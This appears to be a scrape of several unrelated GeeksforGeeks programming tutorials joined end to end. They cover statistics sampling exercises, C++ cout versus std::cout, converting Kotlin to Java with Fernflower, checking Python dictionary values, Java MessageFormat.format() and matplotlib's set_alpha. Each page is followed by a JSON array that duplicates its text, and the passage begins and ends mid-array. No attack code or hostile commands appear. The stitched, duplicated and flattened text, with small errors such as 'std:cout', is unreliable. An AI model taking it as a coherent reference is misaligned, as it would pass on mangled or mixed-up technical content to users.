approximately normal, and independence not met. For the 2 cases where conditions are met, define one case where the original distribution is normal and another where the original distribution is skewed, but the sampling mean normally distributed. The true population mean should be contained in the calculated confidence intervals 95% of the time for these last two cases." }, { "code": null, "e": 18963, "s": 18257, "text": "Change the function confidence_interval_mean_t and build 5 different experiments to calculate a 95% interval for a sample mean, 3 of them where the conditions for a t interval are not met and 2 where they are. For the 3 where the conditions are not met, define the following scenarios: sampling not random, original distribution not approximately normal, and independence not met. For the 2 cases where conditions are met, define one case where the original distribution is normal and another where the original distribution is skewed, but the sampling mean normally distributed. The true population mean should be contained in the calculated confidence intervals 95% of the time for these last two cases." }, { "code": null, "e": 19156, "s": 18963, "text": "Hint: you might find it useful to use the function skewnorm from scipy. Below, you have a modified version of a normal distribution skewed by a skewness parameter, mean and standard deviation." }, { "code": null, "e": 19957, "s": 19156, "text": "# code adapted from https://stackoverflow.com/questions/49367436/scipy-skewnorm-mean-not-matching-theoryskew = 4.0mean = 2stdev = 0.5delta = skew / math.sqrt(1. + math.pow(skew, 2.))adjStdev = math.sqrt(math.pow(stdev, 2.) / (1. - 2. * math.pow(delta, 2.) / math.pi))adjMean = mean - adjStdev * math.sqrt(2. / math.pi) * deltaprint('target mean={:.4f} actual mean={:.4f}'.format(mean, float(skewnorm.stats(skew, loc=adjMean, scale=adjStdev, moments='mvsk')[0])))print('target stdev={:.4f} actual stdev={:.4f}'.format(stdev, math.sqrt(float(skewnorm.stats(skew, loc=adjMean, scale=adjStdev, moments='mvsk')[1]))))target mean=2.0000 actual mean=2.0000target stdev=0.5000 actual stdev=0.5000# Original skewed distributionplt.hist(skewnorm.rvs(a = skew, loc=adjMean, scale=adjStdev, size=2000), bins=50);" }, { "code": null, "e": 20186, "s": 19957, "text": "# Approximately normal distribution of the sample mean because sample # size is bigger than 30 (CTL applies)plt.hist(np.mean([skewnorm.rvs(a = skew, loc=adjMean, scale=adjStdev, size=35) for _ in range(2000)], axis=1), bins=50);" }, { "code": null, "e": 20581, "s": 20186, "text": "Rick takes an SRS of 75 citizens on a distant planet to see what proportion of citizens sampled are satisfied with their standard of living. Suppose that 60% of the 1,000,000,000 citizens who live on the planet are satisfied with their living standards. What are the mean and standard deviation of the sampling distribution of the proportion of citizens satisfied with their standard of living?" }, { "code": null, "e": 20976, "s": 20581, "text": "Rick takes an SRS of 75 citizens on a distant planet to see what proportion of citizens sampled are satisfied with their standard of living. Suppose that 60% of the 1,000,000,000 citizens who live on the planet are satisfied with their living standards. What are the mean and standard deviation of the sampling distribution of the proportion of citizens satisfied with their standard of living?" }, { "code": null, "e": 21082, "s": 20976, "text": "mu_hat_p = 0.6print(mu_hat_p)sigma_p_hat = np.sqrt(0.6*(1-0.6)/75)print(sigma_p_hat)0.60.0565685424949238" }, { "code": null, "e": 21382, "s": 21082, "text": "2. A certain planet with over 1,000,000 households has a mean household income of $1,000,000 with a standard deviation of $150,000. Rick plans to take random samples of 700 households and calculate the sample mean income. Calculate the mean and standard deviation of the sampling distribution of x̄." }, { "code": null, "e": 21510, "s": 21382, "text": "μ = 1000000σ = 150000n = 700print(f'μ_x_bar = {μ}')print(f'σ_x_bar = {σ/n**(1/2)}')μ_x_bar = 1000000σ_x_bar = 5669.467095138409" }, { "code": null, "e": 22098, "s": 21510, "text": "3. Rick is performing quality control tests on different portal guns since there is some variability in the manufacturing process. A certain gun has a target thickness of 5mm. The thickness distribution is skewed to the right with a mean of 5mm and a standard deviation of 1mm. A quality control check on this part involves taking a random sample of 35 points and calculating the mean thickness of those points. What is the shape of the sampling distribution of the sample mean thickness? What is the probability that the mean thickness in the sample is within 0.2mm of the target value?" } ]
Difference between cout and std::cout in C++ - GeeksforGeeks
01 Aug, 2020 The cout is a predefined object of ostream class, and it is used to print the data on the standard output device. Generally, when we write a program in Linux operating system for G++ compiler, it needs “std” namespace in the program.We use it by writing using namespace std; then we can access any of the objects like cout, cin. C++ // Program to show the use of cout// without using namespace #include <iostream>int main(){ std::cout << "GeeksforGeeks"; return 0;} GeeksforGeeks std:cout: A namespace is a declarative region inside which something is defined. So, in that case, cout is defined in the std namespace. Thus, std::cout states that is cout defined in the std namespace otherwise to use the definition of cout which is defined in std namespace. So, that std::cout is used to the definition of cout from std namespace. C++ // Program to show use of using namespace #include <iostream>using namespace std;int main(){ cout << "GeeksforGeeks"; return 0;} GeeksforGeeks What would happen if neither “using namespace std” nor “std::” is used for cout? C++ // Program without using// using namespace std and std:: #include <iostream> int main(){ cout << "GeeksforGeeks"; return 0;} Compilation Error: main.cpp: In function ‘int main()’: main.cpp:5:2: error: ‘cout’ was not declared in this scope cout<<"GeeksforGeeks"<<endl; main.cpp:5:2: note: suggested alternative: In file included from main.cpp:1:0: /usr/include/c++/7/iostream:61:18: note: ‘std::cout’ extern ostream cout; /// Linked to standard output Difference between “using namespace std cout” and “std::cout”? In C++, cout and std::cout both are same, but there are some basic differences are following: CPP-Basics C++ Difference Between CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Inheritance in C++ Map in C++ Standard Template Library (STL) C++ Classes and Objects Virtual Function in C++ Bitwise Operators in C/C++ Difference between BFS and DFS Class method vs Static method in Python Differences between TCP and UDP Difference between var, let and const keywords in JavaScript Differences between IPv4 and IPv6
[ { "code": null, "e": 26119, "s": 26091, "text": "\n01 Aug, 2020" }, { "code": null, "e": 26448, "s": 26119, "text": "The cout is a predefined object of ostream class, and it is used to print the data on the standard output device. Generally, when we write a program in Linux operating system for G++ compiler, it needs “std” namespace in the program.We use it by writing using namespace std; then we can access any of the objects like cout, cin." }, { "code": null, "e": 26452, "s": 26448, "text": "C++" }, { "code": "// Program to show the use of cout// without using namespace #include <iostream>int main(){ std::cout << \"GeeksforGeeks\"; return 0;}", "e": 26592, "s": 26452, "text": null }, { "code": null, "e": 26607, "s": 26592, "text": "GeeksforGeeks\n" }, { "code": null, "e": 26957, "s": 26607, "text": "std:cout: A namespace is a declarative region inside which something is defined. So, in that case, cout is defined in the std namespace. Thus, std::cout states that is cout defined in the std namespace otherwise to use the definition of cout which is defined in std namespace. So, that std::cout is used to the definition of cout from std namespace." }, { "code": null, "e": 26961, "s": 26957, "text": "C++" }, { "code": "// Program to show use of using namespace #include <iostream>using namespace std;int main(){ cout << \"GeeksforGeeks\"; return 0;}", "e": 27097, "s": 26961, "text": null }, { "code": null, "e": 27112, "s": 27097, "text": "GeeksforGeeks\n" }, { "code": null, "e": 27193, "s": 27112, "text": "What would happen if neither “using namespace std” nor “std::” is used for cout?" }, { "code": null, "e": 27197, "s": 27193, "text": "C++" }, { "code": "// Program without using// using namespace std and std:: #include <iostream> int main(){ cout << \"GeeksforGeeks\"; return 0;}", "e": 27330, "s": 27197, "text": null }, { "code": null, "e": 27349, "s": 27330, "text": "Compilation Error:" }, { "code": null, "e": 27670, "s": 27349, "text": "main.cpp: In function ‘int main()’:\nmain.cpp:5:2: error:\n ‘cout’ was not declared in this scope\n cout<<\"GeeksforGeeks\"<<endl;\n \nmain.cpp:5:2: note: suggested alternative:\nIn file included from main.cpp:1:0:\n/usr/include/c++/7/iostream:61:18: note: ‘std::cout’\n extern ostream cout; /// Linked to standard output\n" }, { "code": null, "e": 27733, "s": 27670, "text": "Difference between “using namespace std cout” and “std::cout”?" }, { "code": null, "e": 27827, "s": 27733, "text": "In C++, cout and std::cout both are same, but there are some basic differences are following:" }, { "code": null, "e": 27838, "s": 27827, "text": "CPP-Basics" }, { "code": null, "e": 27842, "s": 27838, "text": "C++" }, { "code": null, "e": 27861, "s": 27842, "text": "Difference Between" }, { "code": null, "e": 27865, "s": 27861, "text": "CPP" }, { "code": null, "e": 27963, "s": 27865, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27982, "s": 27963, "text": "Inheritance in C++" }, { "code": null, "e": 28025, "s": 27982, "text": "Map in C++ Standard Template Library (STL)" }, { "code": null, "e": 28049, "s": 28025, "text": "C++ Classes and Objects" }, { "code": null, "e": 28073, "s": 28049, "text": "Virtual Function in C++" }, { "code": null, "e": 28100, "s": 28073, "text": "Bitwise Operators in C/C++" }, { "code": null, "e": 28131, "s": 28100, "text": "Difference between BFS and DFS" }, { "code": null, "e": 28171, "s": 28131, "text": "Class method vs Static method in Python" }, { "code": null, "e": 28203, "s": 28171, "text": "Differences between TCP and UDP" }, { "code": null, "e": 28264, "s": 28203, "text": "Difference between var, let and const keywords in JavaScript" } ]
How to Convert a Kotlin Source File to a Java Source File in Android? - GeeksforGeeks
17 Dec, 2021 We use Android Studio to translate our Java code into Kotlin while transitioning from Java to Kotlin. But what if we need to convert a Kotlin file to its Java equivalent? We’ll examine how to convert a Kotlin source file to a Java source file in this blog. Let’s get this party started. Because of its interoperability with Java, Kotlin grew at an exponential rate when it first appeared. This is because the Java Virtual Machine executes both Java and Kotlin (JVM). Image #1: Understanding the conversion structure. Compiling Kotlin code to JVM bytecode and subsequently decompiling the bytecode to Java code are the two processes involved in converting a Kotlin file to a Java file. As a result, converting Java code to Kotlin and vice versa is simple. Some of the benefits or motivations for translating Kotlin code to Java code are as follows: To incorporate functionality that is simple to build in Java.To look into a performance issue.To remove Kotlin from your project, follow these steps. To incorporate functionality that is simple to build in Java. To look into a performance issue. To remove Kotlin from your project, follow these steps. Open your Kotlin project in your preferred IDE, here we are using IntelliJ Then go to Kotlin > Show Kotlin Bytecode in Tools > Kotlin.Your Kotlin file’s bytecode will be returned to you.To extract your Java code from the bytecode, click the Decompile button. Then go to Kotlin > Show Kotlin Bytecode in Tools > Kotlin. Your Kotlin file’s bytecode will be returned to you. To extract your Java code from the bytecode, click the Decompile button. The Fernflower is used by IntelliJ IDEA behind the scenes. So, instead of utilizing IntelliJ IDEA, we may use Fernflower directly. The only demerit of using this method is that you will be getting the fern flower file which you will have to convert later on to pure java class. Do the compile process by using the command: kotlinc filename.ktNow we must decompile the class file created in the previous step.The fernflower.jar file can be downloaded here.After you’ve downloaded the jar file, use the command following to extract the Java file from your .class file: Do the compile process by using the command: kotlinc filename.kt Now we must decompile the class file created in the previous step. The fernflower.jar file can be downloaded here. After you’ve downloaded the jar file, use the command following to extract the Java file from your .class file: java -jar fernflower.jar filename.class Although the above procedure will generate a Java file, the code will be difficult to comprehend. In addition, reading will be poor. As a result, using IntelliJ IDEA to convert Kotlin code to Java code is suggested. nnr223442 Picked Android Java Kotlin Java Android Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Resource Raw Folder in Android Studio Flutter - Custom Bottom Navigation Bar How to Read Data from SQLite Database in Android? How to Post Data to API using Retrofit in Android? Retrofit with Kotlin Coroutine in Android Arrays in Java Split() String method in Java with examples For-each loop in Java Object Oriented Programming (OOPs) Concept in Java Arrays.sort() in Java with examples
[ { "code": null, "e": 26381, "s": 26353, "text": "\n17 Dec, 2021" }, { "code": null, "e": 26848, "s": 26381, "text": "We use Android Studio to translate our Java code into Kotlin while transitioning from Java to Kotlin. But what if we need to convert a Kotlin file to its Java equivalent? We’ll examine how to convert a Kotlin source file to a Java source file in this blog. Let’s get this party started. Because of its interoperability with Java, Kotlin grew at an exponential rate when it first appeared. This is because the Java Virtual Machine executes both Java and Kotlin (JVM)." }, { "code": null, "e": 26898, "s": 26848, "text": "Image #1: Understanding the conversion structure." }, { "code": null, "e": 27229, "s": 26898, "text": "Compiling Kotlin code to JVM bytecode and subsequently decompiling the bytecode to Java code are the two processes involved in converting a Kotlin file to a Java file. As a result, converting Java code to Kotlin and vice versa is simple. Some of the benefits or motivations for translating Kotlin code to Java code are as follows:" }, { "code": null, "e": 27379, "s": 27229, "text": "To incorporate functionality that is simple to build in Java.To look into a performance issue.To remove Kotlin from your project, follow these steps." }, { "code": null, "e": 27441, "s": 27379, "text": "To incorporate functionality that is simple to build in Java." }, { "code": null, "e": 27475, "s": 27441, "text": "To look into a performance issue." }, { "code": null, "e": 27531, "s": 27475, "text": "To remove Kotlin from your project, follow these steps." }, { "code": null, "e": 27606, "s": 27531, "text": "Open your Kotlin project in your preferred IDE, here we are using IntelliJ" }, { "code": null, "e": 27790, "s": 27606, "text": "Then go to Kotlin > Show Kotlin Bytecode in Tools > Kotlin.Your Kotlin file’s bytecode will be returned to you.To extract your Java code from the bytecode, click the Decompile button." }, { "code": null, "e": 27850, "s": 27790, "text": "Then go to Kotlin > Show Kotlin Bytecode in Tools > Kotlin." }, { "code": null, "e": 27903, "s": 27850, "text": "Your Kotlin file’s bytecode will be returned to you." }, { "code": null, "e": 27976, "s": 27903, "text": "To extract your Java code from the bytecode, click the Decompile button." }, { "code": null, "e": 28036, "s": 27976, "text": "The Fernflower is used by IntelliJ IDEA behind the scenes. " }, { "code": null, "e": 28256, "s": 28036, "text": "So, instead of utilizing IntelliJ IDEA, we may use Fernflower directly. The only demerit of using this method is that you will be getting the fern flower file which you will have to convert later on to pure java class. " }, { "code": null, "e": 28545, "s": 28256, "text": "Do the compile process by using the command: kotlinc filename.ktNow we must decompile the class file created in the previous step.The fernflower.jar file can be downloaded here.After you’ve downloaded the jar file, use the command following to extract the Java file from your .class file:" }, { "code": null, "e": 28610, "s": 28545, "text": "Do the compile process by using the command: kotlinc filename.kt" }, { "code": null, "e": 28677, "s": 28610, "text": "Now we must decompile the class file created in the previous step." }, { "code": null, "e": 28725, "s": 28677, "text": "The fernflower.jar file can be downloaded here." }, { "code": null, "e": 28837, "s": 28725, "text": "After you’ve downloaded the jar file, use the command following to extract the Java file from your .class file:" }, { "code": null, "e": 28877, "s": 28837, "text": "java -jar fernflower.jar filename.class" }, { "code": null, "e": 29093, "s": 28877, "text": "Although the above procedure will generate a Java file, the code will be difficult to comprehend. In addition, reading will be poor. As a result, using IntelliJ IDEA to convert Kotlin code to Java code is suggested." }, { "code": null, "e": 29103, "s": 29093, "text": "nnr223442" }, { "code": null, "e": 29110, "s": 29103, "text": "Picked" }, { "code": null, "e": 29118, "s": 29110, "text": "Android" }, { "code": null, "e": 29123, "s": 29118, "text": "Java" }, { "code": null, "e": 29130, "s": 29123, "text": "Kotlin" }, { "code": null, "e": 29135, "s": 29130, "text": "Java" }, { "code": null, "e": 29143, "s": 29135, "text": "Android" }, { "code": null, "e": 29241, "s": 29143, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29279, "s": 29241, "text": "Resource Raw Folder in Android Studio" }, { "code": null, "e": 29318, "s": 29279, "text": "Flutter - Custom Bottom Navigation Bar" }, { "code": null, "e": 29368, "s": 29318, "text": "How to Read Data from SQLite Database in Android?" }, { "code": null, "e": 29419, "s": 29368, "text": "How to Post Data to API using Retrofit in Android?" }, { "code": null, "e": 29461, "s": 29419, "text": "Retrofit with Kotlin Coroutine in Android" }, { "code": null, "e": 29476, "s": 29461, "text": "Arrays in Java" }, { "code": null, "e": 29520, "s": 29476, "text": "Split() String method in Java with examples" }, { "code": null, "e": 29542, "s": 29520, "text": "For-each loop in Java" }, { "code": null, "e": 29593, "s": 29542, "text": "Object Oriented Programming (OOPs) Concept in Java" } ]
Python - Test if all Values are Same in Dictionary - GeeksforGeeks
01 Aug, 2020 Given a dictionary, test if all its values are same. Input : test_dict = {“Gfg” : 8, “is” : 8, “Best” : 8}Output : TrueExplanation : All element values are same, 8. Input : test_dict = {“Gfg” : 8, “is” : 8, “Best” : 9}Output : FalseExplanation : All element values not same. Method #1 : Using loop This is one of the ways in which this task can be performed. In this, we iterate for all the values and compare with value in dictionary, if any one is different, then False is returned. Python3 # Python3 code to demonstrate working of # Test if all Values are Same in Dictionary # Using loop # initializing dictionarytest_dict = {"Gfg" : 5, "is" : 5, "Best" : 5} # printing original dictionaryprint("The original dictionary is : " + str(test_dict)) # Flag to check if all elements are same res = True # extracting value to comparetest_val = list(test_dict.values())[0] for ele in test_dict: if test_dict[ele] != test_val: res = False break # printing result print("Are all values similar in dictionary? : " + str(res)) The original dictionary is : {'Gfg': 5, 'is': 5, 'Best': 5} Are all values similar in dictionary? : True Method #2 : Using set() + values() + len() This is yet another way in which this task can be performed. In this, we extract all the values using values() and set() is used to remove duplicates. If length of the extracted set is 1, then all the values are assumed to be similar. Python3 # Python3 code to demonstrate working of # Test if all Values are Same in Dictionary # Using set() + values() + len() # initializing dictionarytest_dict = {"Gfg" : 5, "is" : 5, "Best" : 5} # printing original dictionaryprint("The original dictionary is : " + str(test_dict)) # using set() to remove duplicates and check for values countres = len(list(set(list(test_dict.values())))) == 1 # printing result print("Are all values similar in dictionary? : " + str(res)) The original dictionary is : {'Gfg': 5, 'is': 5, 'Best': 5} Are all values similar in dictionary? : True Python dictionary-programs Python Python Programs Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. How to Install PIP on Windows ? Check if element exists in list in Python How To Convert Python Dictionary To JSON? How to drop one or multiple columns in Pandas Dataframe Python Classes and Objects Defaultdict in Python Python | Get dictionary keys as a list Python | Split string into list of characters Python | Convert a list to dictionary How to print without newline in Python?
[ { "code": null, "e": 25537, "s": 25509, "text": "\n01 Aug, 2020" }, { "code": null, "e": 25590, "s": 25537, "text": "Given a dictionary, test if all its values are same." }, { "code": null, "e": 25702, "s": 25590, "text": "Input : test_dict = {“Gfg” : 8, “is” : 8, “Best” : 8}Output : TrueExplanation : All element values are same, 8." }, { "code": null, "e": 25812, "s": 25702, "text": "Input : test_dict = {“Gfg” : 8, “is” : 8, “Best” : 9}Output : FalseExplanation : All element values not same." }, { "code": null, "e": 25835, "s": 25812, "text": "Method #1 : Using loop" }, { "code": null, "e": 26022, "s": 25835, "text": "This is one of the ways in which this task can be performed. In this, we iterate for all the values and compare with value in dictionary, if any one is different, then False is returned." }, { "code": null, "e": 26030, "s": 26022, "text": "Python3" }, { "code": "# Python3 code to demonstrate working of # Test if all Values are Same in Dictionary # Using loop # initializing dictionarytest_dict = {\"Gfg\" : 5, \"is\" : 5, \"Best\" : 5} # printing original dictionaryprint(\"The original dictionary is : \" + str(test_dict)) # Flag to check if all elements are same res = True # extracting value to comparetest_val = list(test_dict.values())[0] for ele in test_dict: if test_dict[ele] != test_val: res = False break # printing result print(\"Are all values similar in dictionary? : \" + str(res)) ", "e": 26581, "s": 26030, "text": null }, { "code": null, "e": 26687, "s": 26581, "text": "The original dictionary is : {'Gfg': 5, 'is': 5, 'Best': 5}\nAre all values similar in dictionary? : True\n" }, { "code": null, "e": 26730, "s": 26687, "text": "Method #2 : Using set() + values() + len()" }, { "code": null, "e": 26965, "s": 26730, "text": "This is yet another way in which this task can be performed. In this, we extract all the values using values() and set() is used to remove duplicates. If length of the extracted set is 1, then all the values are assumed to be similar." }, { "code": null, "e": 26973, "s": 26965, "text": "Python3" }, { "code": "# Python3 code to demonstrate working of # Test if all Values are Same in Dictionary # Using set() + values() + len() # initializing dictionarytest_dict = {\"Gfg\" : 5, \"is\" : 5, \"Best\" : 5} # printing original dictionaryprint(\"The original dictionary is : \" + str(test_dict)) # using set() to remove duplicates and check for values countres = len(list(set(list(test_dict.values())))) == 1 # printing result print(\"Are all values similar in dictionary? : \" + str(res)) ", "e": 27445, "s": 26973, "text": null }, { "code": null, "e": 27551, "s": 27445, "text": "The original dictionary is : {'Gfg': 5, 'is': 5, 'Best': 5}\nAre all values similar in dictionary? : True\n" }, { "code": null, "e": 27578, "s": 27551, "text": "Python dictionary-programs" }, { "code": null, "e": 27585, "s": 27578, "text": "Python" }, { "code": null, "e": 27601, "s": 27585, "text": "Python Programs" }, { "code": null, "e": 27699, "s": 27601, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 27731, "s": 27699, "text": "How to Install PIP on Windows ?" }, { "code": null, "e": 27773, "s": 27731, "text": "Check if element exists in list in Python" }, { "code": null, "e": 27815, "s": 27773, "text": "How To Convert Python Dictionary To JSON?" }, { "code": null, "e": 27871, "s": 27815, "text": "How to drop one or multiple columns in Pandas Dataframe" }, { "code": null, "e": 27898, "s": 27871, "text": "Python Classes and Objects" }, { "code": null, "e": 27920, "s": 27898, "text": "Defaultdict in Python" }, { "code": null, "e": 27959, "s": 27920, "text": "Python | Get dictionary keys as a list" }, { "code": null, "e": 28005, "s": 27959, "text": "Python | Split string into list of characters" }, { "code": null, "e": 28043, "s": 28005, "text": "Python | Convert a list to dictionary" } ]
MessageFormat format() method in Java with Example : Set - 2 - GeeksforGeeks
04 Jan, 2022 The format() method of java.text.MessageFormat class is used to get the formatted array of object according to the specified pattern of message format object. new string pattern will be considered while performing the action.Syntax: public static String format(String pattern, Object... arguments) Parameter: This method takes following argument as a parameter. pattern :– string pattern according to which array of object will be formatted arguments :- array of object over which formatting is going to take place. Return Value: This method returns string value which will have the formatted array of object in string format.Exception: This method throws NullPointerException if pattern is null.Below are the examples to illustrate the format() method:Example 1: Java // Java program to demonstrate// format() method import java.text.*;import java.util.*;import java.io.*; public class GFG { public static void main(String[] argv) { try { // creating and initializing new MessageFormat Object MessageFormat mf = new MessageFormat("{0, number, #}, {0, number, #.##}, {0, number}"); // Creating and initializing an array of type Double // to be formatted Object[] objs = { new Double(4.234567) }; // Formatting an array of object // using format() method String str = mf.format("{0, number, #.#}", objs); // display the result System.out.println("formatted array : " + str); } catch (NullPointerException e) { System.out.println("pattern is null " + e); System.out.println("Exception thrown : " + e); } }} formatted array : 4.2 Example 2: Java // Java program to demonstrate// format() method import java.text.*;import java.util.*;import java.io.*; public class GFG { public static void main(String[] argv) { try { // creating and initializing new MessageFormat Object MessageFormat mf = new MessageFormat("{0, number, #}, {0, number, #.##}, {0, number}"); // Creating and initializing an array of type Double // to be formatted Object[] objs = { new Double(4.234567) }; // Formatting an array of object // using format() method String str = mf.format(null, objs); // display the result System.out.println("formatted array : " + str); } catch (NullPointerException e) { System.out.println("pattern is null "); System.out.println("Exception thrown : " + e); } }} pattern is null Exception thrown : java.lang.NullPointerException Reference: https://docs.oracle.com/javase/9/docs/api/java/text/MessageFormat.html#format-java.lang.String-java.lang.Object...- prachisoda1234 clintra Java-Functions Java-MessageFormat Java-text package Java Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Object Oriented Programming (OOPs) Concept in Java HashMap in Java with Examples Interfaces in Java Stream In Java How to iterate any Map in Java ArrayList in Java Initialize an ArrayList in Java Stack Class in Java Multidimensional Arrays in Java Singleton Class in Java
[ { "code": null, "e": 26237, "s": 26209, "text": "\n04 Jan, 2022" }, { "code": null, "e": 26472, "s": 26237, "text": "The format() method of java.text.MessageFormat class is used to get the formatted array of object according to the specified pattern of message format object. new string pattern will be considered while performing the action.Syntax: " }, { "code": null, "e": 26565, "s": 26472, "text": "public static String format(String pattern,\n Object... arguments)" }, { "code": null, "e": 26630, "s": 26565, "text": "Parameter: This method takes following argument as a parameter. " }, { "code": null, "e": 26709, "s": 26630, "text": "pattern :– string pattern according to which array of object will be formatted" }, { "code": null, "e": 26784, "s": 26709, "text": "arguments :- array of object over which formatting is going to take place." }, { "code": null, "e": 27034, "s": 26784, "text": "Return Value: This method returns string value which will have the formatted array of object in string format.Exception: This method throws NullPointerException if pattern is null.Below are the examples to illustrate the format() method:Example 1: " }, { "code": null, "e": 27039, "s": 27034, "text": "Java" }, { "code": "// Java program to demonstrate// format() method import java.text.*;import java.util.*;import java.io.*; public class GFG { public static void main(String[] argv) { try { // creating and initializing new MessageFormat Object MessageFormat mf = new MessageFormat(\"{0, number, #}, {0, number, #.##}, {0, number}\"); // Creating and initializing an array of type Double // to be formatted Object[] objs = { new Double(4.234567) }; // Formatting an array of object // using format() method String str = mf.format(\"{0, number, #.#}\", objs); // display the result System.out.println(\"formatted array : \" + str); } catch (NullPointerException e) { System.out.println(\"pattern is null \" + e); System.out.println(\"Exception thrown : \" + e); } }}", "e": 27992, "s": 27039, "text": null }, { "code": null, "e": 28014, "s": 27992, "text": "formatted array : 4.2" }, { "code": null, "e": 28028, "s": 28016, "text": "Example 2: " }, { "code": null, "e": 28033, "s": 28028, "text": "Java" }, { "code": "// Java program to demonstrate// format() method import java.text.*;import java.util.*;import java.io.*; public class GFG { public static void main(String[] argv) { try { // creating and initializing new MessageFormat Object MessageFormat mf = new MessageFormat(\"{0, number, #}, {0, number, #.##}, {0, number}\"); // Creating and initializing an array of type Double // to be formatted Object[] objs = { new Double(4.234567) }; // Formatting an array of object // using format() method String str = mf.format(null, objs); // display the result System.out.println(\"formatted array : \" + str); } catch (NullPointerException e) { System.out.println(\"pattern is null \"); System.out.println(\"Exception thrown : \" + e); } }}", "e": 28968, "s": 28033, "text": null }, { "code": null, "e": 29035, "s": 28968, "text": "pattern is null \nException thrown : java.lang.NullPointerException" }, { "code": null, "e": 29164, "s": 29037, "text": "Reference: https://docs.oracle.com/javase/9/docs/api/java/text/MessageFormat.html#format-java.lang.String-java.lang.Object...-" }, { "code": null, "e": 29179, "s": 29164, "text": "prachisoda1234" }, { "code": null, "e": 29187, "s": 29179, "text": "clintra" }, { "code": null, "e": 29202, "s": 29187, "text": "Java-Functions" }, { "code": null, "e": 29221, "s": 29202, "text": "Java-MessageFormat" }, { "code": null, "e": 29239, "s": 29221, "text": "Java-text package" }, { "code": null, "e": 29244, "s": 29239, "text": "Java" }, { "code": null, "e": 29249, "s": 29244, "text": "Java" }, { "code": null, "e": 29347, "s": 29249, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 29398, "s": 29347, "text": "Object Oriented Programming (OOPs) Concept in Java" }, { "code": null, "e": 29428, "s": 29398, "text": "HashMap in Java with Examples" }, { "code": null, "e": 29447, "s": 29428, "text": "Interfaces in Java" }, { "code": null, "e": 29462, "s": 29447, "text": "Stream In Java" }, { "code": null, "e": 29493, "s": 29462, "text": "How to iterate any Map in Java" }, { "code": null, "e": 29511, "s": 29493, "text": "ArrayList in Java" }, { "code": null, "e": 29543, "s": 29511, "text": "Initialize an ArrayList in Java" }, { "code": null, "e": 29563, "s": 29543, "text": "Stack Class in Java" }, { "code": null, "e": 29595, "s": 29563, "text": "Multidimensional Arrays in Java" } ]
Matplotlib.axes.Axes.set_alpha() in Python - GeeksforGeeks
30 Apr, 2020 Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. The Axes Class contains most of the figure elements: Axis, Tick, Line2D, Text, Polygon, etc., and sets the coordinate system. And the instances of Axes supports callbacks through a callbacks attribute. The Axes.set_alpha() function in axes module of matplotlib library is used to set the alpha value used for blending. Syntax: Axes.set_alpha(self, alpha) Parameters: This method accepts only one parameters. alpha: This parameter is the contains float value or None. Returns: This method does not return any value. Below examples illustrate the matplotlib.axes.Axes.set_alpha() function in matplotlib.axes: Example 1: # Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np # create test datanp.random.seed(10**7)data = [sorted(np.random.normal(0, std, 100)) for std in range(1, 5)] fig, ax1 = plt.subplots()val = ax1.violinplot(data)ax1.set_ylabel('Result')ax1.set_xlabel('Domain Name')for i in val['bodies']: i.set_facecolor('green') i.set_alpha(0.9) fig.suptitle('matplotlib.axes.Axes.set_alpha() \function Example\n\n', fontweight ="bold") plt.show() Output: Example 2: # Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as npfrom matplotlib.patches import Ellipse NUM = 200 ells = [Ellipse(xy = np.random.rand(2) * 10, width = np.random.rand(), height = np.random.rand(), angle = np.random.rand() * 360) for i in range(NUM)] fig, ax = plt.subplots(subplot_kw ={'aspect': 'equal'}) for e in ells: ax.add_artist(e) e.set_clip_box(ax.bbox) e.set_alpha(np.random.rand()) e.set_facecolor(np.random.rand(4)) ax.set_xlim(3, 7)ax.set_ylim(3, 7) fig.suptitle('matplotlib.axes.Axes.set_alpha()\ function Example\n\n', fontweight ="bold") plt.show() Output: Matplotlib axes-class Python-matplotlib Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Python Dictionary Read a file line by line in Python How to Install PIP on Windows ? Enumerate() in Python Different ways to create Pandas Dataframe Iterate over a list in Python Python String | replace() *args and **kwargs in Python Reading and Writing to text files in Python Create a Pandas DataFrame from Lists
[ { "code": null, "e": 25667, "s": 25639, "text": "\n30 Apr, 2020" }, { "code": null, "e": 25967, "s": 25667, "text": "Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. The Axes Class contains most of the figure elements: Axis, Tick, Line2D, Text, Polygon, etc., and sets the coordinate system. And the instances of Axes supports callbacks through a callbacks attribute." }, { "code": null, "e": 26084, "s": 25967, "text": "The Axes.set_alpha() function in axes module of matplotlib library is used to set the alpha value used for blending." }, { "code": null, "e": 26120, "s": 26084, "text": "Syntax: Axes.set_alpha(self, alpha)" }, { "code": null, "e": 26173, "s": 26120, "text": "Parameters: This method accepts only one parameters." }, { "code": null, "e": 26232, "s": 26173, "text": "alpha: This parameter is the contains float value or None." }, { "code": null, "e": 26280, "s": 26232, "text": "Returns: This method does not return any value." }, { "code": null, "e": 26372, "s": 26280, "text": "Below examples illustrate the matplotlib.axes.Axes.set_alpha() function in matplotlib.axes:" }, { "code": null, "e": 26383, "s": 26372, "text": "Example 1:" }, { "code": "# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as np # create test datanp.random.seed(10**7)data = [sorted(np.random.normal(0, std, 100)) for std in range(1, 5)] fig, ax1 = plt.subplots()val = ax1.violinplot(data)ax1.set_ylabel('Result')ax1.set_xlabel('Domain Name')for i in val['bodies']: i.set_facecolor('green') i.set_alpha(0.9) fig.suptitle('matplotlib.axes.Axes.set_alpha() \\function Example\\n\\n', fontweight =\"bold\") plt.show()", "e": 26874, "s": 26383, "text": null }, { "code": null, "e": 26882, "s": 26874, "text": "Output:" }, { "code": null, "e": 26893, "s": 26882, "text": "Example 2:" }, { "code": "# Implementation of matplotlib functionimport matplotlib.pyplot as pltimport numpy as npfrom matplotlib.patches import 